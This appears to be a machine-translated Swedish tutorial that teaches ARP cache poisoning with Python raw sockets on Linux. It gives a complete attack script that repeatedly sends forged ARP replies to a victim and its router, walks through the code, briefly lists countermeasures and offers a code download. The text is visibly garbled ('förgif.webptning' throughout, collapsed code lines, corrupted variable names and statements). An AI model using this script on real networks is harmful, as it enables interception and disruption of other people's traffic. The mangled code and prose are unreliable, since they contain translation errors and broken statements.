ARP -förgif.webptningsattack med råa uttag i Python

Innehållsförteckning

Idag ska jag lära dig hur man genomför en ARP -förgif.webptningsattack (ARP cache -förgif.webptning). För det Jag kommer att använda raw -uttag i python, målet är att se hur denna typ av uttag fungerar, att du lär dig hur denna attack fungerar eller att du kan utföra tester på ditt nätverk (även om det redan finns verktyg på nätverket för det), inte att du använder den för skadlig syften.

NoteraMed scapy kan du implementera detta arbete snabbare och enklare, men genom att titta på denna handledning kommer du att kunna använda kunskapen för att använda biblioteket och göra det själv, om vi gjorde det tvärtom skulle det kosta dig mer. Metoden som visas här fungerar bara på Linux -system.

Små detaljer du borde veta
ARPDet är adressupplösningsprotokollet som finns i nätverkslagret. Dess uppdrag är att hitta MAC -adressen (fysisk adress) som motsvarar en specifik IP -adress (nätverksadress).
ARP -cacherVarje enhet har ett litet minne där den lagrar MAC - IP -översättningarna, vi kommer att dra nytta av detta i denna attack. Den här cacheminnet existerar eftersom den undviker kostnaden för att be om översättningen varje gång vi ansluter till en annan enhet.

De ARP -protokolloperation Det är enkelt, när du skickar ett paket till någon, kommer enhetens cache att kontrolleras, om det finns den översättningen kommer det att ta det för att skicka paketet, om det inte finns någon ARP skickar det ett sändningspaket (det är speciellt, det är har destinations -MAC -adressen ff: ff: ff: ff: ff: ff), kommer detta paket att nå alla enheter i nätverket och kommer att "fråga" vem som har sökt IP -adressen, varje enhet efter att ha sett den speciella MAC kommer att läsa paketet, och bara den med adressen Den sökte IP -adressen svarar med angivande av dess MAC, i det ögonblicket kommer det att lagras i cachen, för att inte behöva fråga igen under de närmaste minuterna.

De ARP -förgif.webptningsattack Den används för att spionera på data som passerar genom ett nätverk, eller så kan vi också använda den så att data inte når de destinationer den ska gå till. Denna attack består i att ständigt skicka ARP -paket till nätverket som indikerar att vår MAC motsvarar offrets IP och att vår MAC är associerad med routerns IP. Vi måste skicka paketen hela tiden eftersom det är ett dynamiskt protokoll, så cacheminnet ändras, det kan vara att översättningen raderas, den uppdateras med riktiga data, så för att se till att vi skickar paket varje gång, så är de inte mycket tunga, så de kommer normalt inte att överbelasta nätverket.

NoteraARP är ett protokoll som endast används i IPv4, därför är denna attack inte giltig för IPv6, men förgif.webptningsattacken kan utföras genom att dra nytta av ett annat protokoll, till exempel NDP, som används för att upptäcka "grannar" i ett nätverk .

För att starta vårt exempel måste vi känna till offrets IP -adresser och routerns gateway, liksom dess MAC, du kan använda nmap för att upptäcka de aktiva enheterna i ditt nätverk, och MAC kan enkelt erhållas, till exempel Vi vill för att förgif.webpta cacheminnet för adressen 192.168.66.2, som blir mitt offer (en virtuell maskin), kommer jag att utföra följande i cmd eller terminal:

 Windows -> Ping 192.168.66.2 -n 1 Unix -> Ping 192.168.66.2 -c 1
-C och -n anger att endast ett paket ska skickas, varje operativsystem har en annan parameter. Senare lägger vi:
 harpa
Det kommer att indikera ARP -cachen, därför kan vi se översättningarna som vi har lagrat (och efter att ha gjort en ping tidigare har vi redan översättningen med offret). Vi måste göra samma sak med routerns gateway:

Därefter kommer jag att lägga all information som vi har för att ha dem till hands:

  • Offer -> 192.168.66.2 / MAC: 00: 50: 56: e3: d1: 75
  • Router -> IP: 192.168.66.1 / MAC: 00: 50: 56: c0: 00: 08
  • Min dator -> IP: 192.168.66.128 / MAC: 00: 0c: 29: 5e: cb: 5f

Jag lägger hela koden och förklarar den nedan, den fungerar för Python i version 2.x, men med små ändringar kan du anpassa den till version 3.x:

 importuttag importtid, struct, binascii -anslutning = socket.socket (socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs (0x0800)) connection.bind (("ens33", socket.htons (0x0800))) macOrigen = "\ x00 \ x0c \ x29 \ x5e \ xcb \ x5f "macVictima =" \ x00 \ x50 \ x56 \ xe3 \ xd1 \ x75 "macRouter =" \ x00 \ x50 \ x56 \ xc0 \ x00 \ x08 "kod =" \ x08 \ x06 "commonpackage = macOrigen + code eth1 = macVictima + commonpackage eth2 = macRouter + commonpackage HardwareType =" \ x00 \ x01 "protocolType =" \ x08 \ x00 "HardwareLength =" \ x06 "ProtocolLength =" \ x04 "OperationCode =" \ x04 "OperationCode =" \ x04 "\ x02" SharedHeader = HardwareType + ProtocolType + HardwareLength + ProtocolLength + OperationCode + macOrigen ipRouter = socket.inet_aton ("192.168.66.1") ipVictima = socket.inet_aton ("192.168.66.2") macVictouter1ngouter + MacVictouterHead = eth1 + MacVictouterCompartida + header ipVictima arpRouter = eth2 + SharedHeader + ipVictima + macRouter + ipRouter print ("Poisoning caches … to stop CTRL + C") while True: connection.send (arpRouter) connection.send (arpRouter) connection.send ) time.sleep (1)
Det första vi gör är att importera de nödvändiga biblioteken, som inte behöver ytterligare förklaring. Låt oss fortsätta med följande rader:
 anslutning = socket.socket (socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs (0x0800)) anslutning.bind (("ens33", socket.htons (0x0800)))
Den första raden skapar ett uttag med följande egenskaper:
  • PF_PACKET: För att skicka och ta emot paket på en låg nivå.
  • SOCK_RAW: Att använda råhylsor.
  • socket.htons (0x0800): 0x0800 kommer att definiera ETH_P_IP -protokollet, ntohs -funktionen konverterar nätverksformatet till byte i lämpligt format för vår dator (s betyder kort, det vill säga 16 bitar, om det hade ett l skulle det vara 32 bitar).

Och den andra kommer att vara ansvarig för att sätta ut uttaget för att "lyssna":

  • ens33: det är nätverksgränssnittet där vi ska arbeta, ditt kan vara eth0, om du använder en ifconfig ser du det (se bilden nedan).
  • socket.htons (0x800): samma som sagt tidigare.

Raderna som vi ser nedan skapar Ethernet -rubrikerna, för detta upprättar vi MAC: erna och koden (den som vi lägger tillhör ARP -protokollet), om du vill veta mer om Ethernet, klicka här:

 macOrigen = "\ x00 \ x0c \ x29 \ x5e \ xcb \ x5f" macVictima = "\ x00 \ x50 \ x56 \ xe3 \ xd1 \ x75" macRouter = "\ x00 \ x50 \ x56 \ xc0 \ x00 \ x08" kod = "\ x08 \ x06" commonpackage = macSource + kod eth1 = macVictima + commonpackage eth2 = macRouter + commonpackage
Nästa del av koden monterar ARP -paketen. För att konsultera strukturen kan du besöka följande länk och gå till paketstruktursektionen. Operationskoden \ x00 \ x02 ska indikera att det är ett svarspaket (om det vore 1 skulle det vara en begäran) och funktionen socket.inet_aton () konverterar en IPv4-adress till 32-bitars binärt format. Som du har sett i föregående kod och nu för att skapa ett paket sammanfogar vi dess delar.
 HardwareType = "\ x00 \ x01" ProtocolType = "\ x08 \ x00" HardwareLength = "\ x06" ProtocolLength = "\ x04" OperationCode = "\ x00 \ x02" Shared Header = HardwareType + ProtocolType + HardwareLength + Operating ProtocolProtocolLength + MacOperationCode. = socket.inet_aton ("192.168.66.1") ipVictima = socket.inet_aton ("192.168.66.2") arpVictima = eth1 + delat huvud + ipRouter + macVictima + ipVictima arpRouter = eth2 + delat huvud + ipVictima + macRouter + ipRouter
Den sista delen av koden visar ett meddelande för att veta att den fungerar och går in i en oändlig slinga som skickar paket för att förgif.webpta vårt offers cacheminne och routerns gateway, detta gör det varje sekund sedan vi har sovit.
 print ("Förgif.webptning cacher … för att stoppa CTRL + C") medan True: connection.send (arpRouter) connection.send (arpVictima) time.sleep (1)
Låt oss se hur genomförandet av programmet ser ut (vi måste kör som root -användare):

Och om vi tittar på offrets cache kan vi se att hans IP -adress nu är associerad med angriparens MAC:

Motåtgärder

  • Använda sig av statiska ARP -tabeller, vi lägger till posterna för hand och vi låter dem inte variera.
  • Rådfråga Omvänd ARP, kommer detta protokoll att returnera IP -adressen från en MAC, så om det returnerar mer än en IP -adress är det troligt att vi har blivit förfalskade.

Dessa åtgärder kräver ett minimum av kunskap, så inte alla kommer att kunna utföra det, men genom att konsultera vår IT -säkerhetsfrågor eller handledningssektion hittar du säkert hjälp.

Om du vill ha koden, här är en zip:

Ladda ner kod ArpPoisoning.zip 579 byte 116 Nedladdningar

Gillade du och hjälpte denna handledning?Du kan belöna författaren genom att trycka på den här knappen för att ge honom en positiv poäng
wave wave wave wave wave